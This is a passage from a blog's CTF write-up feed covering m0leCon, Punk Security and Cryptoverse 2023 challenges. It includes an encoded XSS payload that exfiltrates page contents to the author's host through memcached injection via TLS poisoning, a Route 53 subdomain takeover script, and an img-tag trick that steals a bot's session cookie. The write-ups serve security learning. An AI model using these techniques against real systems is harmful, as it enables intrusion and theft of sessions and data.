<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">20</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">ws</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebSocket</span><span class="p">(</span><span class="s2">`wss://goldinospizza2.challs.m0lecon.it/sock`</span><span class="p">);</span>
    <span class="nx">ws</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">open</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="nx">ws</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">message</span><span class="p">))</span>
    <span class="p">})</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The connection will get killed after some numbers of requests. To scale this up, when I repeated the process, I increased the quantity of each of the order to the amount that I can afford with the balance. Then my available balance increased increases exponentially.</p>

<p>With enough balance, order the golden “The flagship of pizzas”, get the flag and submitted at 4:00 AM BST. Enjoy the 🍕:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ptm{https://youtu.be/Uzryuem5NDc lets make pizza greater than zero again https://www.giallozafferano.com/recipes/Pizza-Margherita.html}
</code></pre></div></div>

<p>The author has <a href="https://discord.com/channels/1100159162794655904/1100159163096633453/1108006782871285770">a different solution</a> to desync the balance in the session and the database, with multiple order/cancel requests can be sent in one websocket request, and how the order/cancel is handled.</p>

<h2 id="print-template-2">Print template 2</h2>

<p>A challenge with a web app under the misc category. IIRC the challenge was released after a while since the CTF started. It was a hard challenge, with team “organizers” first blooded it at 6:06 AM BST, and team “Kalmarunionen” submitted the flag half an hour before the CTF ends. I was not able to solve it myself. This writeup follows <a href="https://sam.ninja/">Sam.ninja</a> and <a href="https://twitter.com/pilvar222">pilvar</a>’s solution and payloads, which appears to be the <a href="https://discord.com/channels/1100159162794655904/1100159163096633453/1106990892780359771" title="Just link to a Discord message that one of the challenge author Xato confirms it is the intended solution">intended solution</a>.</p>

<p>The webapp lets user import templates and “print” them by substitute the place holders in the template with data, and download the print.</p>

<p><img src="/assets/image/m0lecon-teaser-2023-writeup/import-template.png" alt="Import template" /></p>

<p>The user can also submit a “premium request” for review, which will be reviewed by the admin bot. Part of the template which renders the bot will visit is as follows:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">data:image/png;base64,&lt;%=</span> <span class="na">request.img</span> <span class="err">%</span><span class="nt">&gt;</span>&gt;
<span class="nt">&lt;p</span> <span class="na">class=</span><span class="s">"my-3"</span><span class="nt">&gt;&lt;</span><span class="err">%=</span> <span class="na">request.msg</span> <span class="err">%</span><span class="nt">&gt;&lt;/p&gt;</span>
</code></pre></div></div>

<p>As with <code class="highlighter-rouge">&lt;%=</code> tag in EJS, the output will be HTML escaped, so it is not possible to inject script with <code class="highlighter-rouge">msg</code>, however it is possible to inject script in the <code class="highlighter-rouge">img</code> tag with <code class="highlighter-rouge">onerror</code> attribute.</p>

<p>On the web server, the file uploaded will be encoded in base64 and stored in memcached as the <code class="highlighter-rouge">img</code> value being used when rendering the template. With it rendered into base64, it is not possible to inject script into the <code class="highlighter-rouge">img</code> tag. However, if it is possible to control the content stored into memcached, it is possible to inject script into the <code class="highlighter-rouge">img</code> tag.</p>

<h3 id="ssrf-via-tls-poisoning">SSRF via TLS Poisoning</h3>

<p>We cannot make request from our machine directly, we will need to leverage SSRF to make request to memcached.</p>

<p>The “import template” function allows us to import template from a URL. The URL can be a http or https URL, and the server will make the request. The SSRF is exploited via TLS session resumption by injecting payload into session ID. As memcached commands are newline terminated and invalid input will be skipped, it is possible to inject command with new lines. <a href="https://github.com/jmdx/TLS-poison">This TLS Poison PoC</a> is used to implement the exploit. More details about the exploit can be found in <a href="https://youtube.com/watch?v=qGpAJxfADjo">the presentation at DEF CON Safe Mode</a>.</p>

<p>With some modification to the PoC, a customised TLS server and DNS server for DNS rebinding is set up. Make HTTPS request to the TLS server, the TLS server will response a redirect with the TLS session ID being the payload. The client will be repeatedly redirected to the TLS server until the client makes another request to the DNS server, which will resolve to the target IP. As the TLS session ID is keyed by the hostname and port but not IP address, the session ID is reused for the request to the target IP. The request will be made to the target IP with the payload in the session ID.</p>

<p>It is shown in the image below that the payload is in the request made by the curl client to the localhost target.</p>

<p><img src="/assets/image/m0lecon-teaser-2023-writeup/tls-poisoning.png" alt="TLS Poisoning" /></p>

<h3 id="send-payload-into-memcached">Send Payload into Memcached</h3>

<p>When request the bot to review, the bot will visit every unvisited requests by the user where an UUID is generated and saved when the request is submitted. The UUID is also used as the key to store the request in memcached. However, the UUID is not revealed to the user. The UUID is generated with <code class="highlighter-rouge">Math.random</code>. The user IDs are also UUIDs generated with the same library, with knowing enough sequentially generated user IDs, it is possible to predict the future UUIDs.</p>

<p>In this writeup, I skipped the steps bruteforcing for the UUIDs, and just use the UUIDs that is printed to console when the request is submitted and the server generates it.</p>

<p>The script the bot executes is as follows:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">)</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">x</span><span class="o">=&gt;</span><span class="nx">x</span><span class="p">.</span><span class="nx">text</span><span class="p">())</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">x</span><span class="o">=&gt;</span><span class="nx">x</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;/h3&gt;</span><span class="dl">"</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="nx">trim</span><span class="p">())</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">x</span><span class="o">=&gt;</span><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://x.cjxol.com/</span><span class="dl">"</span><span class="o">+</span><span class="nx">x</span><span class="p">))</span>
</code></pre></div></div>

<p>The final payload for TLS session ID becomes the following:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set message_cd330b28-93e9-4524-a70b-d1a03fac941c 0 0 434
{"msg":"whatever","img":"a id=deny onerror=eval(String.fromCharCode(102,101,116,99,104,40,34,47,34,41,46,116,104,101,110,40,120,61,62,120,46,116,101,120,116,40,41,41,46,116,104,101,110,40,120,61,62,120,46,115,112,108,105,116,40,34,60,47,104,51,62,34,41,91,49,93,46,116,114,105,109,40,41,41,46,116,104,101,110,40,120,61,62,102,101,116,99,104,40,34,104,116,116,112,58,47,47,120,46,99,106,120,111,108,46,99,111,109,47,34,43,120,41,41))"}
set message_cd330b28-93e9-4524-a70b-d1a03fac941c 0 0 434
{"msg":"whatever","img":"a id=deny onerror=eval(String.fromCharCode(102,101,116,99,104,40,34,47,34,41,46,116,104,101,110,40,120,61,62,120,46,116,101,120,116,40,41,41,46,116,104,101,110,40,120,61,62,120,46,115,112,108,105,116,40,34,60,47,104,51,62,34,41,91,49,93,46,116,114,105,109,40,41,41,46,116,104,101,110,40,120,61,62,102,101,116,99,104,40,34,104,116,116,112,58,47,47,120,46,99,106,120,111,108,46,99,111,109,47,34,43,120,41,41))"}
</code></pre></div></div>

<p>The payload is repeated twice as the injection sometimes does not work as expected. The image tag sets ID to <code class="highlighter-rouge">deny</code> as the bot will click on the deny button which can cause a navigation before the script is executed. With image ID set as <code class="highlighter-rouge">deny</code>, the bot will not click on the deny button and click the image instead which does not cause a navigation.</p>

<p>In the <code class="highlighter-rouge">get-template</code> page, import template from the URL pointing to the TLS server. After a while, the web server will make request to Memcached and the payload will be stored in Memcached.</p>

<p>When querying Memcached directly, we can see the payload is stored in Memcached.</p>

<p><img src="/assets/image/m0lecon-teaser-2023-writeup/memcached.png" alt="Payload is in Memcached" /></p>

<p>When requested to review the requests, the bot will visit the page and execute the script. The flag is exfiltrated.</p>

<p><img src="/assets/image/m0lecon-teaser-2023-writeup/flag.png" alt="Flag is exfiltrated" /></p>

<p>The image is showing the fake flag for testing, and the real flag is:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ptm{why_an0ther_ch4ll_w1th_4_b0t??}
</code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="ctf writeup" /><category term="ctf web" /><summary type="html"><![CDATA[m0leCon Teaser 2023 On CTFtime]]></summary></entry><entry><title type="html">Punk Security DevSecOps Birthday CTF Subdomain Takeover (Hard) Challenge Writeup</title><link href="https://www.cjxol.com/posts/punk-security-devsecops-birthday-ctf-subdomain-takeover-hard-writeup/" rel="alternate" type="text/html" title="Punk Security DevSecOps Birthday CTF Subdomain Takeover (Hard) Challenge Writeup" /><published>2023-05-15T00:00:00+01:00</published><updated>2023-05-15T00:00:00+01:00</updated><id>https://www.cjxol.com/posts/punk-security-devsecops-birthday-ctf-subdomain-takeover-hard-writeup</id><content type="html" xml:base="https://www.cjxol.com/posts/punk-security-devsecops-birthday-ctf-subdomain-takeover-hard-writeup/"><![CDATA[<p><a href="https://punksecurity.co.uk/ctf/2023/">Punk Security DevSecOps Birthday CTF</a><br />
<a href="https://ctftime.org/event/1903">On CTFtime</a></p>

<p>We did the 12-hour CTF on 4th May 2023. The CTF is unique and primarily focused on DevSecOps, including CI/CD pipelines, cloud etc. It is not in my best expertises, but we had a strong team and managed to full clear all the challenges and won the CTF.</p>

<p>We were one of the only teams solved this subdomain takeover challenge. This solve involves exploiting a dangling delegation DNS record on AWS Route 53 to takeover a subdomain, thus bypass some CSP restrictions.</p>

<h2 id="the-challenge-and-solve">The Challenge and Solve</h2>

<p><em>The notes and screenshots were taken when different challenge instances were running, so several different challenge domains may be in the writeup below.</em></p>

<h3 id="finding-the-dangling-delegation">Finding the Dangling Delegation</h3>

<p>In the challenge description, it suggested to do a scan of possible subdomain takeover with <a href="https://github.com/punk-security/dnsReaper">dnsReaper</a> tool made and open sourced by Punk Security.</p>

<p>After the scan, we found a dangling delegation DNS record for zone <code class="highlighter-rouge">dev.[challenge domain]</code>, as shown in the screenshot below.</p>

<p><img src="/assets/image/punk-security-devsecops-birthday-ctf-subdomain-takeover-hard-writeup/dnsReaper.png" alt="dnsReaper scan result" /></p>

<p>I then created hosted zone on AWS Route 53 for <code class="highlighter-rouge">dev.[challenge domain]</code> and AWS will randomly assign 4 nameservers for the hosted zone. I used the following script to repeatedly create hosted zone and check the nameservers until I got at least one of the nameservers that the zone is delegated to.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">boto3</span>
<span class="kn">import</span> <span class="nn">uuid</span>
<span class="n">client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="n">client</span><span class="p">(</span><span class="s">'route53'</span><span class="p">)</span>
<span class="n">target_nameservers</span> <span class="o">=</span> <span class="s">'ns-423.awsdns-52.com,ns-904.awsdns-49.net,ns-1899.awsdns-45.co.uk,ns-1125.awsdns-12.org'</span>
<span class="n">target_nameservers</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="n">target_nameservers</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">','</span><span class="p">))</span>
<span class="n">count</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="n">count</span> <span class="o">+=</span> <span class="mi">1</span>
    <span class="k">print</span><span class="p">(</span><span class="n">count</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s">'</span><span class="se">\r</span><span class="s">'</span><span class="p">)</span>
    <span class="n">zone</span> <span class="o">=</span> <span class="n">client</span><span class="p">.</span><span class="n">create_hosted_zone</span><span class="p">(</span>
        <span class="n">Name</span><span class="o">=</span><span class="s">'dev.d9edd91f-c40.ctf.two.dr.punksecurity.cloud'</span><span class="p">,</span>
        <span class="n">CallerReference</span><span class="o">=</span><span class="nb">str</span><span class="p">(</span><span class="n">uuid</span><span class="p">.</span><span class="n">uuid4</span><span class="p">()),</span>
        <span class="n">HostedZoneConfig</span><span class="o">=</span><span class="p">{</span>
            <span class="s">'PrivateZone'</span><span class="p">:</span> <span class="bp">False</span>
        <span class="p">}</span>
    <span class="p">)</span>
    <span class="nb">id</span> <span class="o">=</span> <span class="n">zone</span><span class="p">[</span><span class="s">'HostedZone'</span><span class="p">][</span><span class="s">'Id'</span><span class="p">]</span>
    <span class="n">nameservers</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="n">zone</span><span class="p">[</span><span class="s">'DelegationSet'</span><span class="p">][</span><span class="s">'NameServers'</span><span class="p">])</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">nameservers</span> <span class="o">&amp;</span> <span class="n">target_nameservers</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">break</span>
    <span class="n">client</span><span class="p">.</span><span class="n">delete_hosted_zone</span><span class="p">(</span><span class="n">Id</span><span class="o">=</span><span class="nb">id</span><span class="p">)</span>
</code></pre></div></div>

<p>It took only just over 100 attempts to get a nameserver that the zone is delegated to.</p>

<h3 id="finding-loopholes-on-the-web">Finding Loopholes on the Web</h3>

<p>The web app to be exploited uses CSP to restrict the loading of external scripts. It only allows the script from the same origin. However, the session cookie is set to the domain scope of <code class="highlighter-rouge">.[challenge domain]</code>, that means when making requests to any subdomains or even sub-subdomains etc, the session cookie will be included.</p>

<p><img src="/assets/image/punk-security-devsecops-birthday-ctf-subdomain-takeover-hard-writeup/cookie.png" alt="Session Cookie" /></p>

<p>The CSP on the web app also allows images from any origin, so we can load images from the subdomain we took over.</p>

<p>With the <code class="highlighter-rouge">dev.[challenge domain]</code> zone we took over with our own AWS account, we can create a subdomain <code class="highlighter-rouge">takeover.dev.[challenge domain]</code> and point it to a web server we control.</p>

<p><img src="/assets/image/punk-security-devsecops-birthday-ctf-subdomain-takeover-hard-writeup/route53.png" alt="Pointing the subdomain to our server on AWS Route 53" /></p>

<p>Thus, we I post a comment with the following content, the admin bot will make request to our server with the session cookie.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"http://takeover.dev.[challenge domain]"</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p><img src="/assets/image/punk-security-devsecops-birthday-ctf-subdomain-takeover-hard-writeup/listen.png" alt="The admin bot made request to our server with session cookie" /></p>

<p>With the session cookie of the admin bot, we can now make request to the web app with the session cookie and get the flag.</p>

<h2 id="notes-and-findings-during-the-ctf">Notes and Findings during the CTF</h2>

<p>In the <code class="highlighter-rouge">results.csv</code> outputted by dnsReaper, I noticed the link to a <a href="https://github.com/punk-security/dnsReaper/issues/122">GitHub Issue</a> discussing about some protections on AWS Route 53 against domain takeover because of dangling delegation. In that discussion, there is a link to a <a href="https://youtu.be/GGfQlPZSRk4?t=712">video demo</a> of the subdomain take over on AWS Route 53 at BSides Newcastle by <a href="https://github.com/SimonGurney">SimonGurney</a> whom is the author of dnsReaper. Despite not the best recording audio quality, the demo was very helpful to understand this exploit.</p>

<p>Regarding <a href="https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/protection-from-dangling-dns.html">the protection from dangling delegation records in Route 53</a>, when the subdomain hosted zone is removed, the delegation will need to be removed and recreated to delegate the subdomain to a hosted zone. However, if a hosted zone is never created before the delegation, meaning the domain has always been dangling, the protection will not automatically protect against subdomain takeover.</p>]]></content><author><name></name></author><category term="ctf" /><category term="ctf writeup" /><summary type="html"><![CDATA[Punk Security DevSecOps Birthday CTF On CTFtime]]></summary></entry><entry><title type="html">Cryptoverse CTF 2023 Writeup</title><link href="https://www.cjxol.com/posts/cryptoverse-ctf-2023-writeup/" rel="alternate" type="text/html" title="Cryptoverse CTF 2023 Writeup" /><published>2023-05-09T00:00:00+01:00</published><updated>2023-05-09T00:00:00+01:00</updated><id>https://www.cjxol.com/posts/cryptoverse-ctf-2023-writeup</id><content type="html" xml:base="https://www.cjxol.com/posts/cryptoverse-ctf-2023-writeup/"><![CDATA[<p><em><a href="https://cryptoversectf.tk/">Cryptoverse CTF 2023</a></em><br />
<em><a href="https://ctftime.org/event/1907">On CTFtime</a></em></p>

<p>There are many challenges in this CTF which are great for learning yet still challenging and not trivial. Kudos to the organiser! Here are the writeups to some of the challenges my team solved.</p>

<p>On this page:</p>
<ul>
  <li><a href="#crypto-warmup-1">Crypto Warmup 1</a> - Simple cipher challenge</li>
  <li><a href="#crypto-warmup-2">Crypto Warmup 2</a> - Simple cipher challenge</li>
  <li><a href="#crypto-baby-aes">Crypto Baby AES</a> - Simple AES key brute force</li>
  <li><a href="#misc-minecrafts-deadly-dilemma">Misc Minecraft’s Deadly Dilemma</a></li>
  <li><a href="#reverse-simple-checkin">Reverse Simple Checkin</a> - Simple binary xor reversing</li>
  <li><a href="#reverse-micro-assembly">Reverse Micro Assembly</a> - Simple “hypothetical assembly language” reversing</li>
  <li><a href="#reverse-solid-reverse">Reverse Solid Reverse</a> - Solidity/smart contract reversing</li>
  <li><a href="#pwn-acceptance">Pwn Acceptance</a> - Buffer overflow to overwrite variable</li>
  <li><a href="#web-safe-locker">Web Safe Locker</a> - Client-side bruteforce</li>
  <li><a href="#hoyoverse-ii-prompt-bot">HoYoverse II: Prompt Bot</a> - ChatGPT prompt target output challenge</li>
  <li><a href="#hoyoverse-iii-secret-vault">HoYoverse III Secret Vault</a> - Crypto challenge solving linear equations</li>
</ul>

<h2 id="crypto-warmup-1">Crypto Warmup 1</h2>

<blockquote>
  <p>Decode the following ciphertext: GmvfHt8Kvq16282R6ej3o4A9Pp6MsN.</p>
</blockquote>

<p>This actually took my team a while to figure out, and this challenge got fewer solves compared to Crypto Warmup 2 below (175 and 233 solves respectively). Turns out to solve it need to do rot13 then base58 decode.</p>

<p>The flag is <code class="highlighter-rouge">cvctf{base58_with_rot}</code>.</p>

<h2 id="crypto-warmup-2">Crypto Warmup 2</h2>

<blockquote>
  <p>This cipher is invented by French cryptographer Felix Delastelle at the end of the 19th century.<br />
Ciphertext: SCCGDSNFTXCOJPETGMDNG Hint: CTFISGODABEHJKLMNPQRUVWXY</p>
</blockquote>

<p>When seeing random ciphers in CTF, I immediately think of <a href="https://www.dcode.fr/">dcode.fr</a>. After a quick Google search for “Felix Delastelle cipher”, the 3rd result was the link to <a href="https://www.dcode.fr/bifid-cipher">decode.fr</a>.</p>

<p><img src="/assets/image/cryptoverse-ctf-2023-writeup/crypto-warmup-2.png" alt="Bifid decoder" /></p>

<h2 id="crypto-baby-aes">Crypto Baby AES</h2>

<p>In this challenge the flag is encrypted with AES CBC mode, with IV and the encrypted flag provided in the output. The key is generated with the code below:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">KEY_LEN</span> <span class="o">=</span> <span class="mi">2</span>
<span class="n">BS</span> <span class="o">=</span> <span class="mi">16</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">"/dev/urandom"</span><span class="p">,</span><span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">(</span><span class="n">KEY_LEN</span><span class="p">),</span> <span class="n">BS</span><span class="p">)</span>
</code></pre></div></div>

<p>The unknown part of the key is only 2 bytes, so we can brute force it, and decrypt the flag.</p>

<h2 id="misc-minecrafts-deadly-dilemma">Misc Minecraft’s Deadly Dilemma</h2>

<p>The challenge provided two grayscale images “pickaxe.png” and “sword.png”, and the goal is to find a image with L1 distance to “pickaxe.png” close enough that is smaller than <script type="math/tex">474^2 = 224676</script>, but with L2 distance to “pickaxe.png” larger than to “sword.png”. The L2 distance between the provided two images is 10411.40 and the L1 distance is 442888.</p>

<p>To find such image, I tried two approaches:</p>

<ul>
  <li>
    <p>The first one is to start with “pickaxe.png”, so the L1 distance is 0, and then change the pixels value where “pickaxe.png” is smaller than “sword.png” to the maximum value, which would result in a larger increase in L2 distance for “pickaxe.png” than for “sword.png” until before the L1 distance reaches over 224676. However, as the L2 distance to “sword.png” is already quite large, the L1 distance would reach over 474 before the L2 distance to “pickaxe.png” is larger than to “sword.png”.</p>
  </li>
  <li>
    <p>The second approach is also to start with “pickaxe.png”, but instead of increasing the L2 distance for “pickaxe.png”, I reduce the L2 distance to “sword.png” while increasing the L2 distance to “pickaxe.png” until the L2 distance to “pickaxe.png” is larger than to “sword.png” while the L1 distance is still smaller than 224676. The code is shown below:</p>
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">xy</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">64</span><span class="p">):</span>
  <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">64</span><span class="p">):</span>
      <span class="n">p1</span> <span class="o">=</span> <span class="n">pick</span><span class="p">.</span><span class="n">getpixel</span><span class="p">((</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">))</span>
      <span class="n">p2</span> <span class="o">=</span> <span class="n">sword</span><span class="p">.</span><span class="n">getpixel</span><span class="p">((</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">))</span>
      <span class="n">xy</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">p1</span> <span class="o">-</span> <span class="n">p2</span><span class="p">,</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">)))</span>
<span class="n">xy</span><span class="p">.</span><span class="n">sort</span><span class="p">()</span> <span class="c1"># large negative first
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3500</span><span class="p">):</span>
  <span class="n">p</span><span class="p">,</span> <span class="n">c</span> <span class="o">=</span> <span class="n">xy</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
  <span class="n">pick</span><span class="p">.</span><span class="n">putpixel</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">sword</span><span class="p">.</span><span class="n">getpixel</span><span class="p">(</span><span class="n">c</span><span class="p">))</span>
<span class="n">pick</span><span class="p">.</span><span class="n">save</span><span class="p">(</span><span class="s">'out.png'</span><span class="p">)</span>
</code></pre></div>    </div>
  </li>
</ul>

<h2 id="reverse-simple-checkin">Reverse Simple Checkin</h2>

<p>Decompile the binary provided with the binary, realising the binary is to check if the input xor with some data is equal to some other data. Implemented the script in Python to xor the two data and get the very long flag:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cvctf{i_apologize_for_such_a_long_string_in_this_checkin_challenge,but_it_might_be_a_good_time_to_learn_about_automating_this_process?You_might_need_to_do_it_because_here_is_a_painful_hex:32a16b3a7eef8de1263812.Enjoy(or_not)!}
</code></pre></div></div>

<h2 id="reverse-micro-assembly">Reverse Micro Assembly</h2>

<p>In this challenge, an assembly file in AT&amp;T syntax is provided. After Googling around of the instructions (especially something special with the DIV instruction which takes 3 arguments and followed with instruction to compare value in register 12), I found out that the assembly is “hypothetical assembly language”, which is based on x86 assembly. The instructions reference can be found on <a href="http://www.ctoassembly.com/asm.html">http://www.ctoassembly.com/asm.html</a>.</p>

<p>As there are conditional jumps in the assembly, however they do not form any loops, I solved this challenge by hand and the resulting stack contains the flag.</p>

<h2 id="reverse-solid-reverse">Reverse Solid Reverse</h2>

<p>This challenge is to reverse a smart contract in Solidity. The contract is shown below:</p>

<div class="language-solidity highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">contract</span> <span class="n">ReverseMe</span> <span class="p">{</span>
    <span class="kt">uint</span> <span class="n">goal</span> <span class="o">=</span> <span class="mh">0x57e4e375661c72654c31645f78455d19</span><span class="p">;</span>
    <span class="k">function</span> <span class="n">magic1</span><span class="p">(</span><span class="kt">uint</span> <span class="n">x</span><span class="p">,</span> <span class="kt">uint</span> <span class="n">n</span><span class="p">)</span> <span class="k">public</span> <span class="k">pure</span> <span class="k">returns</span> <span class="p">(</span><span class="kt">uint</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// Something magic
</span>        <span class="kt">uint</span> <span class="n">m</span> <span class="o">=</span> <span class="p">(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">n</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
        <span class="k">return</span> <span class="n">x</span> <span class="o">&amp;</span> <span class="n">m</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">function</span> <span class="n">magic2</span><span class="p">(</span><span class="kt">uint</span> <span class="n">x</span><span class="p">)</span> <span class="k">public</span> <span class="k">pure</span> <span class="k">returns</span> <span class="p">(</span><span class="kt">uint</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// Something else magic
</span>        <span class="kt">uint</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">while</span> <span class="p">((</span><span class="n">x</span> <span class="o">&gt;&gt;=</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">return</span> <span class="n">i</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">function</span> <span class="n">checkflag</span><span class="p">(</span><span class="kt">bytes16</span> <span class="n">flag</span><span class="p">,</span> <span class="kt">bytes16</span> <span class="n">y</span><span class="p">)</span> <span class="k">public</span> <span class="k">view</span> <span class="k">returns</span> <span class="p">(</span><span class="kt">bool</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="p">(</span><span class="kt">uint128</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span> <span class="o">^</span> <span class="kt">uint128</span><span class="p">(</span><span class="n">y</span><span class="p">)</span> <span class="o">==</span> <span class="n">goal</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">modifier</span> <span class="n">checker</span><span class="p">(</span><span class="kt">bytes16</span> <span class="n">key</span><span class="p">)</span> <span class="p">{</span>
        <span class="nb">require</span><span class="p">(</span><span class="kt">bytes8</span><span class="p">(</span><span class="n">key</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x3492800100670155</span><span class="p">,</span> <span class="s">"Wrong key!"</span><span class="p">);</span>
        <span class="nb">require</span><span class="p">(</span><span class="kt">uint64</span><span class="p">(</span><span class="kt">uint128</span><span class="p">(</span><span class="n">key</span><span class="p">))</span> <span class="o">==</span> <span class="kt">uint32</span><span class="p">(</span><span class="kt">uint128</span><span class="p">(</span><span class="n">key</span><span class="p">)),</span> <span class="s">"Wrong key!"</span><span class="p">);</span>
        <span class="nb">require</span><span class="p">(</span><span class="n">magic1</span><span class="p">(</span><span class="kt">uint128</span><span class="p">(</span><span class="n">key</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x1964</span><span class="p">,</span> <span class="s">"Wrong key!"</span><span class="p">);</span>
        <span class="nb">require</span><span class="p">(</span><span class="n">magic2</span><span class="p">(</span><span class="kt">uint64</span><span class="p">(</span><span class="kt">uint128</span><span class="p">(</span><span class="n">key</span><span class="p">)))</span> <span class="o">==</span> <span class="mi">16</span><span class="p">,</span> <span class="s">"Wrong key!"</span><span class="p">);</span>
        <span class="n">_</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">function</span> <span class="n">unlock</span><span class="p">(</span><span class="kt">bytes16</span> <span class="n">key</span><span class="p">,</span> <span class="kt">bytes16</span> <span class="n">flag</span><span class="p">)</span> <span class="k">public</span> <span class="k">view</span> <span class="n">checker</span><span class="p">(</span><span class="n">key</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// Main function
</span>        <span class="nb">require</span><span class="p">(</span><span class="n">checkflag</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="n">key</span><span class="p">),</span> <span class="s">"Flag is wrong!"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="highlighter-rouge">unlock</code> function will check if the key is correct through the <code class="highlighter-rouge">checker</code> modifier. Then it will check that the <code class="highlighter-rouge">flag</code> xor with the <code class="highlighter-rouge">key</code> is equal to the <code class="highlighter-rouge">goal</code>. So we can get the flag by xor the <code class="highlighter-rouge">goal</code> with the <code class="highlighter-rouge">key</code>. The <code class="highlighter-rouge">key</code> is not provided, but we can get it by solving the <code class="highlighter-rouge">checker</code> modifier.</p>

<p>The <code class="highlighter-rouge">magic1</code> function is to get the lower 16 bits of the key, and the <code class="highlighter-rouge">magic2</code> function is to get the number of bits of the key.</p>

<ul>
  <li>The first line of the checker is to check if the first 8 bytes of the key is <code class="highlighter-rouge">0x3492800100670155</code>.</li>
  <li>The second line is to check that the lower 32 bits of the key is equal to the lower 64 bits of the key, which means the upper 32 bits in the lower 64 bits of the key is zero.</li>
  <li>The third line is to check that the lower 16 bits of the key is <code class="highlighter-rouge">0x1964</code>.</li>
  <li>The fourth line is to check that the number of bits of the lower 64 bit of the key is 16 + 1 = 17 excluding leading zeros. This resulting in the lower 64 bit of the key is between 0x10000 and 0x1ffff.</li>
</ul>

